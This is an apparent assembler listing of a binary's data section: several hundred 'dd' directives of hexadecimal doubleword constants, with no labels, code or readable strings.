		dd 0C1A8AD67h, 0DDEE0B60h, 8DD11A62h, 6194A555h, 1D23692Eh
		dd 5EB8BD00h, 9E64C6h, 0D9EA0371h, 0CB9CCABFh, 0E22A2F52h
		dd 0A9143018h, 0FFA171Ch, 1D2D824Dh, 0DC8F6C20h, 0E480050Dh
		dd 0CA4780A1h, 61243F13h, 0CF40E2E8h, 14A6DFEh,	0ECB116C1h
		dd 2013A84Eh, 77E8A246h, 1508114Ah, 9D5F142Ah, 149CAD0Bh
		dd 0E2C01D4Dh, 0B87D75CEh, 0BE57949Bh, 0A528BE02h, 0C97C6AB9h
		dd 5E030E10h, 0FFF8B3E9h, 70A28Ch, 2E83FDEh, 5F0863Ah
		dd 8BD64CB7h, 0D89884C1h, 2C6589E7h, 79A15E5Fh,	13E01E37h
		dd 9400B2E1h, 0F5DC8407h, 4AF38BA4h, 239340E8h,	37951452h
		dd 180B0A00h, 0CC87BEEEh, 1E5F0050h, 29631CC4h,	9892E59Dh
		dd 0A21C33F7h, 0C2F8331Bh, 470BC886h, 4227B701h, 0D859DBBAh
		dd 0B57129EAh, 68352FE1h, 0BE0059E2h, 0E165B8BAh, 16C0584Ch
		dd 0CBFE05F2h, 0E6D5243Ah, 0A6D0B5C7h, 39BAF027h, 33E2597Ah
		dd 2B4CD260h, 0AE9B07E4h, 9C1978h, 70BDCFD1h, 0A4E71352h
		dd 0EE816001h, 332F1E1Ah, 16D08620h, 8561723Ah,	4173046Ah
		dd 0E7900E1Ch, 0D94950FEh, 9F37009Fh, 0E97FFB54h, 0C7359097h
		dd 0F1040EECh, 87E95F7Bh, 39E86191h, 0EF6E004Ah, 0B28A1FC4h
		dd 33B09F0Fh, 2D248D29h, 8A690811h, 80C854C9h, 0BDDB00DEh
		dd 0EE46F9E4h, 5E2DBC9Ch, 795C1AA2h, 0B85A04Eh,	0F8C70AF7h
		dd 0A9BD3440h, 9A961043h, 0D1B080E8h, 1227DAFBh, 0B309054Fh
		dd 581C4EB2h, 16E92760h, 561210E7h, 1523053Fh, 0E4541409h
		dd 0D83D0010h, 12A469AAh, 0D702E557h, 334BEC5Ch, 0E253D1BAh
		dd 0E9050159h, 6544E4h,	83B334EBh, 0F164AF9Dh, 0E507DB7Fh
		dd 8BA12009h, 6CD475B4h, 3AE085A6h, 1316BBBFh, 829C0C83h
		dd 2818418Dh, 0DA948074h, 99A1Ah, 6823E32Fh, 0F56F34B7h
		dd 95525F5Ah, 6E6FDDF5h, 4B6600ADh, 0F6D38DFDh,	0F9DBA034h
		dd 0BD83802Eh, 11297E2Dh, 0E911229Fh, 0A40BBD5Eh, 9849F78Eh
		dd 12435C3Bh, 0B32B37BCh, 61C6D388h, 6BB09E5Eh,	0E934E758h
		dd 0C4DB112Fh, 8E428FC0h, 1C0579BDh, 0CE01CC06h, 0A8083727h
		dd 0CFE68294h, 51EA603Ah, 0FD986F63h, 0AAB7B6D3h, 65F21156h
		dd 1CF50640h, 6BC0482h,	9B50B42h, 0C29E51D8h, 0E4DEC924h
		dd 0ADCD2DA4h, 0A777DC11h, 166B3721h, 6DF89D5Bh, 5AD5A827h
		dd 68288821h, 0B7005B78h, 0D86204C7h, 58E5CF89h, 7C90609Fh
		dd 0B8C15B8h, 8D89834Eh, 0F7E94D90h, 0B1F643D2h, 93273EE0h
		dd 0C000B87Dh, 2E08A1F0h, 481F18Bh, 4DDF60E6h, 1E77ED2Bh
		dd 70D73D53h, 0BBE01EB6h, 0EA944A60h, 0E271E409h, 708EDBA6h
		dd 0E87E0E25h, 0A947C704h, 94F23CC0h, 0BCB8535Dh, 0EB606207h
		dd 0B77B8BE1h, 89608154h, 3E2CED85h, 5BF0E826h,	0B63912FBh
		dd 0B427E056h, 3854002Eh, 2B81213Dh, 5071FCD8h,	2B0BE930h
		dd 9A9C0Ch, 281875FBh, 98B23D7Bh, 28045E5Bh, 5CE48A0Fh
		dd 9BB9E8h, 0FCCCF348h,	0FD00E3F1h, 749BFE55h, 0F93B41Ah
		dd 0B70F5C57h, 0C0665FC9h, 6EFE14CBh, 0D41B9C22h, 2EB7C201h
		dd 0FAC1C6B5h, 0F38C7C70h, 93B01CC8h, 5FB5D065h, 0BCD2ED00h
		dd 0BAD86DB4h, 598B8292h, 43C6E06Dh, 2356A190h,	325A4678h
		dd 911F3B27h, 0A979801Ah, 2DD19842h, 2C9FA293h,	58801811h
		dd 1B090E34h, 11A48291h, 0A4906D17h, 28156C3h, 3C6663D6h
		dd 4E4A5F71h, 0C8828B37h, 4AF5FF9Fh, 0DCE0546Ah, 13CB1D01h
		dd 871434CEh, 207A6Ah, 0B3BB5F53h, 0B146D78h, 5815D8DEh
		dd 3C802937h, 3BEC560h,	5592DBDh, 6F457399h, 277F417Bh
		dd 9842F98Bh, 0B9721070h, 11AC1F95h, 0D88A801Dh, 0E6D11621h
		dd 3237164Dh, 816CC46Ch, 6D0109D4h, 0CFE82D48h,	0F7DB6034h
		dd 0AB7699B6h, 50EEB200h
		dd 0BA666021h, 9C70997h, 4AB8595h, 9D935046h, 5F282A59h
		dd 32D41680h, 960004BBh, 9AB1FC0Ch, 2D3472FEh, 5C9126F8h
		dd 0F4DE2A73h, 61E00FC0h, 3F0187B7h, 899B3E5Bh,	162ED59Dh
		dd 500662A2h, 8AC38EE2h, 5B5ED0EFh, 7160B533h, 0B941BF11h
		dd 2B451CE8h, 0A9BD8BC3h, 0FFB75F48h, 19C466B6h, 0C1AE5652h
		dd 6BF557BFh, 0BABCDF24h, 492704D3h, 7F32AB15h,	0B403DAE5h
		dd 0BE66005Ch, 85C7FBF8h, 0B39CA395h, 311CD053h, 1B2128BDh
		dd 49B8120h, 0D02D3816h, 0B71E9E13h, 123772A9h,	84EAD589h
		dd 58AA8DD8h, 5FEFEC69h, 0F05B8BE4h, 0E4F21E35h, 0F3AFA20Fh
		dd 0C4DB06A0h, 71000FFBh, 7CA11C22h, 59981805h,	1A944767h
		dd 3317E8C0h, 2B3B27C6h, 0B5368FB3h, 6C9AE2DEh,	9858CC9Fh
		dd 40793B36h, 0E6904212h, 63EEE06Bh, 0ABCD0462h, 0ADF78B77h
		dd 0BEDDB8CFh, 90EB2056h, 31EB805Fh, 2E552D85h,	0BEFEF920h
		dd 0AB1E9F7Ch, 0E32C0F06h, 3DE058h, 269F39D9h, 7C814869h
		dd 9EBD6507h, 464CA868h, 935E48F0h, 128C16E8h, 0B62EA333h
		dd 8675E095h, 32571379h, 0F4D6C94Ch, 0B2711FFCh, 0D159C700h
		dd 0C68FA362h, 42D7005Bh, 8493BE86h, 0C69649E8h, 0CC053840h
		dd 183F00CEh, 50710DF2h, 1D3BF64Ah, 0A0BE0153h,	419D0156h
		dd 0D948ED6Ch, 5F073B6Eh, 0B50320FCh, 56BC21ADh, 7E4B00F4h
		dd 0C0F5E0E3h, 6280EDBh, 9120DD5Eh, 0F0E92728h,	2A8987C1h
		dd 48B9D427h, 68DAFADFh, 0F001D254h, 0EA9E6BE9h, 0FC9B100h
		dd 33C23F5h, 0B3986A84h, 26D0E1FBh, 8200546Eh, 77CCE6A0h
		dd 0F7D94Eh, 6D51233Dh,	0E4C799B3h, 40122C00h, 0A686A05Ah
		dd 199800BBh, 6521D66Eh, 2B1F59F3h, 889F8B45h, 0D2ECCEh
		dd 5D5B601Ah, 0B8BD0577h, 0F31655h, 0DD29BAB0h,	681C3FF9h
		dd 2E800F15h, 0DFFE7176h, 0CD1A00B3h, 0D09B4924h, 0F87655CAh
		dd 75866F00h, 0FB197811h, 0D17C07F5h, 20CFD5CCh, 0E41B35EFh
		dd 12230A00h, 0E579B977h, 832E1F4Dh, 58F85E7Eh,	72C5746Dh
		dd 0CFC1C730h, 60B3D615h, 25781DFEh, 0EB00BD1Fh, 4D4B5008h
		dd 0AAAF69h, 2C719DB4h,	3681ECEh, 0DED7DB12h, 3000AFECh
		dd 0B10E8389h, 0C5008467h, 637D28E0h, 0F669522Ch, 0B85C00ACh
		dd 943E610h, 0E90E9B46h, 43454B05h, 0E0A6AB65h,	6FD0E104h
		dd 5301844Fh, 80A40A4Dh, 5A12F711h, 18755755h, 6C43B6BBh
		dd 140F456Eh, 622561BFh, 0FC4E5434h, 0C3989400h, 0E9A18400h
		dd 3D42EDE4h, 0BAB9F62Ah, 0E13E6F03h, 11EA5F8Bh, 17838h
		dd 85442BC2h, 0FEE1E69Eh, 3C3A003Fh, 9A989D55h,	0F400F9B1h
		dd 0A5F74C81h, 16EC06BEh, 7A341Ah, 6487C6DFh, 64DCA14Dh
		dd 4BD2D640h, 1C42F526h, 9FBFC55Bh, 0E61240E3h,	0DCC06834h
		dd 0AE1E2200h, 0DE2B31B2h, 41F900E0h, 0E9C8EB2Ah, 2900B9BAh
		dd 0EF3C4295h, 3550FF1h, 476B5250h, 21078D24h, 0E6EB96E9h
		dd 0A7F29D30h, 0C8940037h, 8DD02DE2h, 0CB0E2871h, 9FE59F81h
		dd 19D1BA40h, 126B1D14h, 1CC7CC84h, 30EA8F2Eh, 0A35D3F80h
		dd 0A100A79Eh, 0B9715654h, 1DF758B4h, 0A816449Ah, 91412297h
		dd 492B8B09h, 0ADAA0823h, 0CF7ACD80h, 39F79B8h,	3FAFFB9h
		dd 1F00A908h, 2F7C82D5h, 1944C31h, 8AE71C8Fh, 0D0A45E40h
		dd 17F2D6B8h, 7830190Eh, 0A0CCA073h, 0ABFB7Dh, 7258DF38h
		dd 92070DB8h, 31913D48h, 71DC90BCh, 65DC414h, 9A4769EFh
		dd 4C788F00h, 0EF30FE3Eh, 0ACB200DDh, 0C67E615Fh, 4D1070AFh
		dd 1A000F64h, 742C15C7h, 2324216Eh, 80009A3Dh, 0E1DFE49Eh
		dd 2190FAh, 48A56646h, 0B7621CFEh, 0C700D174h, 0C2D99375h
		dd 1701496h, 604C3D2Eh,	20FEF85Ah, 87128C27h, 0C406E40h
		dd 8D924A2Dh, 0EEA6098Fh, 8500EBE9h, 0AE6F4F46h, 0E50E5101h
		dd 0C5015FB4h, 84EE4F24h, 462B3800h, 0FFE3A287h, 49400F45h
		dd 0F700999Eh, 540EF4F2h, 2C594F00h, 0E8A085D7h, 67EFCCEh
		dd 486BAAC1h, 15008569h, 702A10C2h, 74CC0B6Ah, 1D47658Dh
		dd 0E18C5D2Fh, 0E2051C02h, 0A7E2A4CFh, 5F0BB480h, 2E5A059Fh
		dd 0BA987F59h, 52495A00h, 26350DA2h, 8076102Fh,	5036DE29h
		dd 0D00FA3C0h, 72D32ECh, 0A520858Bh, 0FFD1EBh, 135A5F19h
		dd 21DA2A9Ch, 999A18F2h, 0BBC07800h, 0F83B98C5h, 0A70F312h
		dd 0DC941C77h, 3CF680D6h, 0AD674B25h, 0ABB1A80Fh, 0D791E049h
		dd 54EED4D2h, 0C789C02Dh, 80EFE66Ch, 0C3A88299h, 0E8FCB200h
		dd 0F57EE24Eh, 0F7FA4Ah, 3AE9468Fh, 0DAA4A00Eh,	56DD2637h
		dd 0F711CB20h, 64ED0219h, 40653D4h, 0D150CCA0h,	0D90AF04Fh
		dd 8B8720B6h, 573C9601h, 0DD20F49Fh, 3751000Bh,	0AEC57F65h
		dd 7BEC4C6Fh, 0F8E4EAC0h, 3F02A68Eh, 5B0085DCh,	240A0855h
		dd 140C536Ah, 2A8BC0F1h, 765C00B6h, 0BE0B11BCh,	0B0000D56h
		dd 0ACC68066h, 0C9FF90CEh, 157EBB96h, 4ED10580h, 3FED8EFh
		dd 0F8575D15h, 45A8FCD5h, 2F008256h, 0A25C3E18h, 14A0A69Dh
		dd 0FBA50C53h, 7C8A900h, 1A1B06AAh, 0F1E00300h,	4DD6455Eh
		dd 3A9EEFAh, 2E32EACFh,	3AB03165h, 87198DDDh, 0F37D7B5Dh
		dd 41E4894Ch, 207C8A4h,	641E0400h, 0D192784Ah, 86310EEBh
		dd 9CEC3A81h, 441DF9E6h, 0D60C38EFh, 0B8A315DBh, 396AE44Ch
		dd 0A68096B0h, 0A4F7289h, 26007E8Eh, 57D01844h,	26C543DEh
		dd 58F5256h, 80DB3646h,	0C11644Ch, 697DA900h, 35FF41EDh
		dd 93C24CC8h, 2523280Bh, 817F0480h, 0F300DA9Bh,	8D8B903Bh
		dd 0F0EAEFA9h, 3A9700CCh, 0C3204DF7h, 3258F11Fh, 603C4CA7h
		dd 708ADDDAh, 6000B176h, 2B947CD0h, 0D780819Bh,	0C1A781C0h
		dd 0BE010007h, 2E5E919Bh, 9DECA0F3h, 0E3FDB701h, 674A6DACh
		dd 390F2D74h, 914DB6BCh, 5D88B400h, 0FB4C8B38h,	51F6200h
		dd 49B5A6AAh, 0FF421748h, 376700BEh, 0C5EB3E8h,	0DE0013ECh
		dd 0B4FAF05Ch, 248620Dh, 0D1D69076h, 0FE8F2F6Eh, 0F6186580h
		dd 53175812h, 6547855Ch, 0F725DAE0h, 475A8691h,	0F2FBAEFCh
		dd 954000ECh, 0F2AC9290h, 0A3E0C1EDh, 89B66007h, 0BA617D34h
		dd 1CC9FC02h, 52F23949h, 24390013h, 89432B66h, 0BDB88684h
		dd 3DE3E138h, 61450048h, 0C2A4A2A7h, 5030008h, 66646923h
		dd 0C07BC57Dh, 2025DD04h, 0D8C03B22h, 1289516Dh, 0D7C181E1h
		dd 60E9C7C9h, 8B240C87h, 9A68CCE5h, 7B893040h, 1456743Ch
		dd 1AC681E6h, 6EE5076h,	24341787h, 682F805Ch, 0E41D3386h
		dd 468D5F07h, 589A4906h, 1C012281h, 0E7EC8358h,	0BAF914F3h
		dd 1198F08h, 5A3A43C2h,	55303B8Bh, 0C581E58Ah, 2043BB3Fh
		dd 86FF612Ch, 0F8C4835Fh, 473DEFE9h, 68098FFCh,	0B8D0216Dh
		dd 9A8F3874h, 0E0A0C503h, 7BA3E82Ah, 9BC4B31Dh,	9DCBB900h
		dd 0B569258h, 0C18B632Eh, 8E702373h, 0F251006Bh, 9E5CDCCh
		dd 997A99Dh, 82B8596Fh,	8B9BE66h, 0DD705E7Bh, 318D2729h
		dd 800F3002h, 6425CFF9h, 0C764C07Dh, 8B6090B4h,	5A61D125h
		dd 0F8E1F365h, 0BD897C85h, 966CECCDh, 0EE056E6h, 877D26B5h
		dd 91810F27h, 11DDBD26h, 0A7289806h, 0B79DC23Ah, 0D89000B3h
		dd 7E10F687h, 21E55AC4h, 2EF8DC19h, 0E48B5956h,	0F5C018C8h
		dd 50BF8502h, 40D5D887h, 503D901Fh, 248CAE52h, 310F4D00h
		dd 16FDEBEh, 585A3992h,	47F78B50h, 128CE5B0h, 2F06CD7Ch
		dd 0BF668B01h, 0C9DDF7Fh, 7A7C0281h, 405C3485h,	0D191736Bh
		dd 0C3B1814h, 2DA59589h, 0D35BFF56h, 0B81F8DBh,	0C89C8FD9h
		dd 0D12C539h, 7EE3FE8Bh
		dd 1B3C3B51h, 16F025CEh, 9CF3E2E9h, 193AB184h, 3C2EF3EAh
		dd 8B882C2Eh, 87514ABDh, 0A19D61E7h, 85DE3B16h,	9CDAEE80h
		dd 6913B9E8h, 0EAE28BE9h, 4BF7A74Bh, 69803FDAh,	6B27868Bh
		dd 0F518D813h, 802F23C9h, 2D285AF6h, 2C3CEB00h,	254EB3F1h
		dd 3BB2091Eh, 65043357h, 515E0930h, 0E40D00E5h,	50E10109h
		dd 0B43F5A02h, 5CF816A6h, 5077915Fh, 0D250FDF2h, 0BD1283A9h
		dd 3DE23936h, 6C4F4E2Dh, 79121E60h, 0DC3C2D7Bh,	3AC9910h
		dd 70CEF703h, 0F31EE7DDh, 7CA88A17h, 8D89624Dh,	0E9852377h
		dd 533B272Bh, 639CB970h, 0A207108h, 2E5B85C7h, 0F78180E6h
		dd 302DFE79h, 0F8391195h, 24C21649h, 290E8C8Dh,	2E20A7A1h
		dd 40572972h, 97DBB7C1h, 8554BE6Ah, 484B27DCh, 2D25A278h
		dd 2704C7D7h, 5740E9CDh, 2FFCF3F8h, 31A23AEh, 554092FCh
		dd 13F0FC3Dh, 0B803B5ADh, 505EC5CAh, 0F3CBB4EDh, 9A53C829h
		dd 64FEDA70h, 0F8F148B2h, 4BD48030h, 7F5ABDBh, 0CC493E19h
		dd 5D5AFED2h, 34420F98h, 9F9A8800h, 0AF3DE51h, 0F72A07FFh
		dd 23B017EFh, 0A7A48Bh,	154DB529h, 600024BDh, 23841A87h
		dd 9661F504h, 0E4242322h, 0DECE71h, 60E8ADB5h, 0A56E9FF1h
		dd 171242BCh, 0E3D87FA1h, 161E2572h, 0F8176444h, 0F19BC38Bh
		dd 8660A780h, 0DF3AF07Eh, 0CEAC754Ch, 0E2CC0B95h, 70EBF384h
		dd 852D29ACh, 0F82142ADh, 78D99B87h, 0C5E6B4CAh, 0CF813F00h
		dd 7A78B2B1h, 9BD85F2Bh, 780C80CCh, 0B00DD71Ch,	18E2286h
		dd 1047F958h, 611206DDh, 9DC50393h, 0FB150F5h, 388A728Ah
		dd 5E5F9253h, 16AC37B9h, 0D4CF138Ch, 0BD9311A5h, 0B9EFA8Ah
		dd 4AD310A9h, 9F7D78A7h, 3822646Bh, 0B5890D06h,	2BBD2D9Dh
		dd 0CA03147Ah, 0E5CB4FEDh, 3B0884B0h, 62F73558h, 44146578h
		dd 0CB109D83h, 5D00FFF3h, 0A936045Bh, 382BA051h, 0AAA4826Ah
		dd 0F34D2D87h, 37D659C0h, 69680495h, 0B992254Ah, 1ED102Dh
		dd 330DE919h, 809FEC95h, 8B42FA0Bh, 34C30121h, 9E25D793h
		dd 25FDE141h, 0DAD88103h, 395E014Fh, 21B51F8Ch,	192C1361h
		dd 884F0B11h, 1A055218h, 9BA886A2h, 8E4111E9h, 16F6F55h
		dd 3CA4E03Dh, 0A851163Dh, 766D5102h, 58A9E1B6h,	4080FB7Ch
		dd 0C16A8824h, 0AC73B600h, 476763C9h, 8BB2586h,	1046DE69h
		dd 0B707B9F8h, 0B9376BDh, 0E21D2FF9h, 24B5D619h, 13BEA8ACh
		dd 0A2AC8C0Fh, 0BDCBE7A0h, 69389425h, 9C2EFDCAh, 0B200C400h
		dd 6B91DB79h, 255C5392h, 0A9615E57h, 7A232BF9h,	0DB314AB3h
		dd 6A5E80BBh, 0B69C1C7h, 0F08B9381h, 6DF6A001h,	25766660h
		dd 7481C20Bh, 891EADEh,	5B1310C1h, 532B75E0h, 1CA2A7C3h
		dd 1B16130h, 6C4275C5h,	92CB2127h, 99B6F752h, 0DE5E3A38h
		dd 83E18030h, 0BE889CBh, 0EFED6ABCh, 0BE800AD9h, 653A1A5Fh
		dd 943348E9h, 491CCDC4h, 0DEBCDEC0h, 94C58A50h,	0D3108104h
		dd 8181E46Bh, 342B049Dh, 0C03DDBDFh, 0B58D09C1h, 27DAB92Dh
		dd 337102C8h, 89709602h, 8B12699Dh, 27F2B463h, 0FDDB5A85h
		dd 0DE30CED9h, 4C3AFC36h, 0BD17EB68h, 0F210A61Eh, 0AF01301Bh
		dd 0E1749802h, 0C09B774Dh, 95F53157h, 7ED95060h, 157150B3h
		dd 0EC481318h, 0D81D386Ch, 8589A046h, 5285BDE5h, 2DD66F90h
		dd 1B56407h, 278FEA41h,	0DBFCCF2Ah, 3B21F790h, 3C1C3C24h
		dd 17193108h, 95C1025Fh, 760915F5h, 0B806607Eh,	3A5EF621h
		dd 7E8F5A9Bh, 0D4E54260h, 0FADCA2DBh, 83652350h, 0E8D4B910h
		dd 0E544D2C2h, 1D424180h, 4629022Bh, 4B95EC48h,	0F8F8092Dh
		dd 50800D37h, 0B8359A7Eh, 20F926E6h, 0BF5D3A1Dh, 0BE16F9BCh
		dd 2DE0CE78h, 5206E1E5h, 0CF9BF14Eh, 466AC09Ch,	0DC096919h
		dd 0C9D2881Bh, 2029CA5Ch, 0E9AADABFh, 1E85315Eh, 1308BE82h
		dd 0D1B5B212h, 0DF289DF2h, 9B604BA0h, 0B59680C5h, 0A0AC9CBEh
		dd 0DDB8195h, 0FEB95329h, 605ECA7Ch, 72EB0BDCh,	1109A81Fh
		dd 0FA067946h, 13598D21h, 40A396BEh, 77E5B71Fh,	0EB294300h
		dd 9D2798D8h, 1510B72Bh, 0FB00AAB2h, 0BE2C33E5h, 1A3BD6B5h
		dd 525E588Bh, 0F5BFA7D5h, 7A7A61ADh, 74D50EDDh,	75FD80ECh
		dd 209D8B6Ah, 83132C35h, 8C0801E1h, 9D01FC29h, 0E064C018h
		dd 0BB40BD6Ch, 39B815E2h, 6754D38Bh, 53CB9809h,	6223E01h
		dd 0ADCF8100h, 6115D6C7h, 36B79F60h, 0AFF4C500h, 15CB9D5h
		dd 4D881EEh, 233B2321h,	858B0902h, 0F938A555h, 8BDB804h
		dd 92E88100h, 5106330Ch, 25E5BA66h, 0F6EA9720h,	13BF095Dh
		dd 3B394F22h, 3B17230Eh, 0D2D828Ah, 0BA3B6586h,	0F200297Bh
		dd 9866B78Ah, 414EA775h, 0E04588h, 0A69284FDh, 0A2A99914h
		dd 0E1587303h, 3CFA8EC9h, 8B2AF83Eh, 3602E75h, 4CDD220Fh
		dd 75157161h, 24C9DE1Ch, 0CC6740EFh, 7EE66710h,	0E7801450h
		dd 8B12FC8Ah, 0E9D874D9h, 1D99A85Bh, 5B05934h, 82BF0F1Dh
		dd 0E5D28D3Eh, 0E9B37B5h, 2A60E38Fh, 58523D3h, 5835849Eh
		dd 800585FDh, 4F8B08F6h, 39E52935h, 29B7204h, 8B6FB421h
		dd 0B1892053h, 85321995h, 0FD92EE0Ah, 7E23921Ch, 862C0E0Fh
		dd 0AC884182h, 0B6445C8Ch, 1C86EBEh, 59B84EFCh,	0A88FE5BCh
		dd 0DA9565C0h, 8920DAD6h, 2CE64C1h, 0BC6E8409h,	0B1899030h
		dd 8927F7DAh, 18DFADBDh, 9B2F0671h, 6449C3ADh, 5176F81Bh
		dd 47C5A3D7h, 1F35D668h, 0A66EAF33h, 0FEC60806h, 0ACD45C06h
		dd 8C16F83Fh, 0D4F75C3Eh, 668A384Ch, 96790029h,	5DC0E7AFh
		dd 820B6DA6h, 5E468A1Bh, 801F4E11h, 0C7C6533Ch,	1F00CAEDh
		dd 4E51AFB0h, 13F2EB7Bh, 36A45CEh, 5F64DE7Ch, 47800F89h
		dd 94D85454h, 0A6EAFD1h, 0A218402h, 0CD5385C7h,	77889A3h
		dd 61DE27D2h, 8870C873h, 340309FBh, 1180920Bh, 0B6EA80D7h
		dd 6DB50913h, 98EB69E0h, 0E99D387Dh, 0A67B4Eh, 0AEF161D2h
		dd 9C03EFEh, 2C899D09h,	4F80063Dh, 0DE807014h, 0C18B2D8Ah
		dd 5E712404h, 35A6C057h, 0F6CA0E4h, 0A58C894Ah,	4C294119h
		dd 11765524h, 8669AC00h, 0FAA690E5h, 2CD7828h, 6EC261A5h
		dd 0C7D1F3F2h, 0BF59F581h, 0BF845AFh, 0B1BD2D83h, 7506CD0Eh
		dd 0C5221209h, 19740C01h, 0B8CA5350h, 8D043830h, 8020F585h
		dd 62129D8Dh, 35A0E2BCh, 2258565Bh, 20871720h, 0C7B95188h
		dd 1D65B203h, 88E409h, 2FC08973h, 60179FB0h, 5DC21602h
		dd 0DBD7C7A0h, 0D64D70D6h, 5A008375h, 0A4DD8785h, 6A0AB966h
		dd 0DEAEF049h, 0DD303F16h, 0E81248F8h, 31B08032h, 0F3D82185h
		dd 9406D5FEh, 0E8F386F8h, 0B7BD291Eh, 71803DA7h, 0B3BE9E1Ch
		dd 7812D1A0h, 0DED08D0Fh, 3388B1B9h, 597A0BE6h,	51C01EF4h
		dd 0E86492F8h, 0DE6BF1DFh, 94DC81F7h, 38D87F19h, 81FE319Bh
		dd 75418532h, 359B6B60h, 18F06180h, 340BE69Dh, 0F03FBD4Ch
		dd 0E805140Fh, 841592E0h, 71EC9A07h, 7FA10C39h,	32DAEF04h
		dd 4C965FDFh, 0DC36BCB7h, 3F858200h, 9F86B349h,	0B58B09ADh
		dd 0DB260E15h, 6D97B32Bh, 213C0A2h, 54C4A283h, 26880741h
		dd 0F82040DDh, 6FAE812h, 88A063B7h, 1901D58Fh, 0DB8D755Eh
		dd 5100FE8h, 0F4E3A396h, 8600DC5Fh, 0C9F333B2h,	799FD838h
		dd 65C6960Fh, 5DA644F1h, 95090108h, 83531CA5h, 0D8A54AA8h
		dd 0D1288D1Fh, 0A9606A04h, 0E8F78B0Dh, 0B7065E8Fh, 40FEA01Fh
		dd 0B5010A78h, 8310FE9h, 752C2A35h, 0EDB06867h,	0C3DA7E90h
		dd 52E8F2C6h, 0E89FADFCh, 0D8DA0622h, 740553D1h, 0DB12AD2Dh
		dd 86DD060h, 0FAB58A03h
		dd 0AE8B0225h, 0FEAA886Eh, 29608005h, 7441854Ah, 8E18D01h
		dd 0C9401C2Dh, 0F4609C2Ah, 0C9A19301h, 0B302634Eh, 1563813Bh
		dd 4C887A5Eh, 6918015Ch, 0D619DDDAh, 0EAEC44F7h, 0B15F0242h
		dd 5F00432Bh, 8077DBADh, 66F977EEh, 0A7A327BFh,	6007FFD1h
		dd 0C9D0B1CDh, 4B474C76h, 42A295h, 0DA614D73h, 9DD8FCE5h
		dd 312CF2ECh, 0A82061BCh, 491B5520h, 0A13B6059h, 0F8036040h
		dd 0A3E98153h, 5E238879h, 43E83761h, 9CFD0CBh, 3E65B454h
		dd 6EA2C538h, 4C256510h, 0A1A772Dh, 543728E8h, 0BCA540EEh
		dd 0E6145AB1h, 1281658Bh, 16126185h, 14F195F6h,	0CE1CF4E8h
		dd 0EF2F4F75h, 1DA52204h, 49640C0Eh, 9D847796h,	0E8023445h
		dd 0BD7504D8h, 0A8BB1258h, 0E56062B6h, 7DBD2122h, 1AA81225h
		dd 0B560834Dh, 8FD9B8Dh, 32319589h, 871216B2h, 3DABB96Ch
		dd 25FE803Dh, 7FA5C74Eh, 362839E8h, 714E91D4h, 12B0250Eh
		dd 0AC81759Bh, 216F3909h, 8DAA604Dh, 4902695Bh,	0D7B60F5Fh
		dd 0E2BF2DB7h, 5F16AD4Ch, 98A34EB0h, 3C4F0800h,	0D0196F50h
		dd 53BE0255h, 5F5C340Ah, 115FB555h, 80828014h, 0ED8BA9E1h
		dd 8039DB2Bh, 38ABA0D1h, 9463CDAh, 0E7D0483Bh, 1A099F19h
		dd 186C9DDCh, 2B00E129h, 8D260BD8h, 5082686Dh, 60C78A60h
		dd 95241C73h, 0DE072C1Ah, 5B13182Dh, 91E085B6h,	7801274Dh
		dd 84EBD571h, 86448B0Fh, 0E28160AFh, 3500928Dh,	0DDEE4940h
		dd 1E36E745h, 7FBE58FAh, 22AD9509h, 5B41376Fh, 202FAAB9h
		dd 836CBEC9h, 3E37E424h, 51DEFF01h, 0AD6D1A89h,	217043B9h
		dd 11CC8AE5h, 42251F69h, 89FECD61h, 0F612FDCCh,	992FF498h
		dd 40E41Ch, 0DF98E090h,	510BC924h, 35E2121Eh, 591956C0h
		dd 30EDDE23h, 2BDE2F1Bh, 1C5545BDh, 6D8E904Ah, 0A00BA6D2h
		dd 2B8FA96h, 93D35825h,	9661C144h, 1A3342FDh, 39CE37F7h
		dd 0C23C4182h, 0A7F9EF7Bh, 260A540Eh, 0ADC1C360h, 8075E5FBh
		dd 0BC09E7C1h, 6730515Ah, 0A05F6160h, 0B733A58Bh, 6640254Fh
		dd 61C0C2CBh, 0ACF66AEEh, 0DB864550h, 0CDC1802Fh, 0D416A08h
		dd 0F88311E5h, 0D99B6AFFh, 0A80CA282h, 0FDBB885Dh, 8B1F0B1h
		dd 0BD0BFF04h, 0C0164D1Ah, 7D52E271h, 912D6980h, 71F8AD35h
		dd 7D381350h, 0ECD33159h, 5F360432h, 81B4A164h,	804D938h
		dd 0F1B51533h, 0AC4C3E2Fh, 176CA31h, 0A5DE3E26h, 129F3089h
		dd 0FC821B11h, 0C467826h, 11DFE1B7h, 26F55353h,	0AFBE3DA2h
		dd 1B001DB7h, 90F43875h, 46ABB4DFh, 0D600C89Fh,	9E551DD8h
		dd 99BE230h, 8AD98018h,	9B1A6604h, 132C074h, 9FA38BF4h
		dd 56FD84E3h, 81A8DB68h, 0B7C58B86h, 0CF9969CEh, 0C6E18270h
		dd 2FDCE95Bh, 17E0C38Dh, 0B56B66Ah, 0D7A8E2B7h,	0A956B9AFh
		dd 2E1ABCFAh, 601C4970h, 0BBFE7529h, 961F4000h,	9FBD4C5h
		dd 0AF1E94B5h, 0D754ECE2h, 29C909DCh, 4C98A195h, 8D14D181h
		dd 5AE0B231h, 2700426Fh, 0BE668353h, 0B8DE93h, 8F01A545h
		dd 367DC3F9h, 2D0BEDB8h, 2D5D89Eh, 231353Ch, 54B5C58Ah
		dd 0DFF43580h, 4B658D31h, 0C8F8CF23h, 0E47C015h, 3C07DFB9h
		dd 0E7BE71C1h, 0D334A2C2h, 2399D0EBh, 0B4C94684h, 0B96A2021h
		dd 0C8C40119h, 10B1F833h, 0A7CCA3A9h, 0A5D65B84h, 0E040364Dh
		dd 170DAD18h, 30609CD2h, 83C4232Ch, 625EFC01h, 5F26FD7Ah
		dd 3E40F8h, 7BB65912h, 0B7C4B8B3h, 0F685EB5Bh, 12EE20EAh
		dd 3739195Ch, 705181DEh, 0C0B7310Fh, 7BFB1C6Eh,	905B0800h
		dd 0FE6F03BBh, 0FFE24E65h, 0B07AAFh, 0B9EA63B6h, 2F8E22FBh
		dd 0D4D36A5Dh, 7A3B6778h, 53DF00CAh, 0A33507BBh, 0F25A9B3h
		dd 0D4456A87h, 930440ABh, 0A201F767h, 59E36D41h, 0CB40D305h
		dd 4FE453E9h, 0BF1A8807h, 2375AC0Eh, 5E42A2DAh,	0BBDE68h
		dd 9F55BB66h, 0E8E26050h, 84DA2EA0h, 0D000817Ah, 38F88672h
		dd 0BF5929E1h, 0B3B84E40h, 34771071h, 73598BB5h, 1BFC70DFh
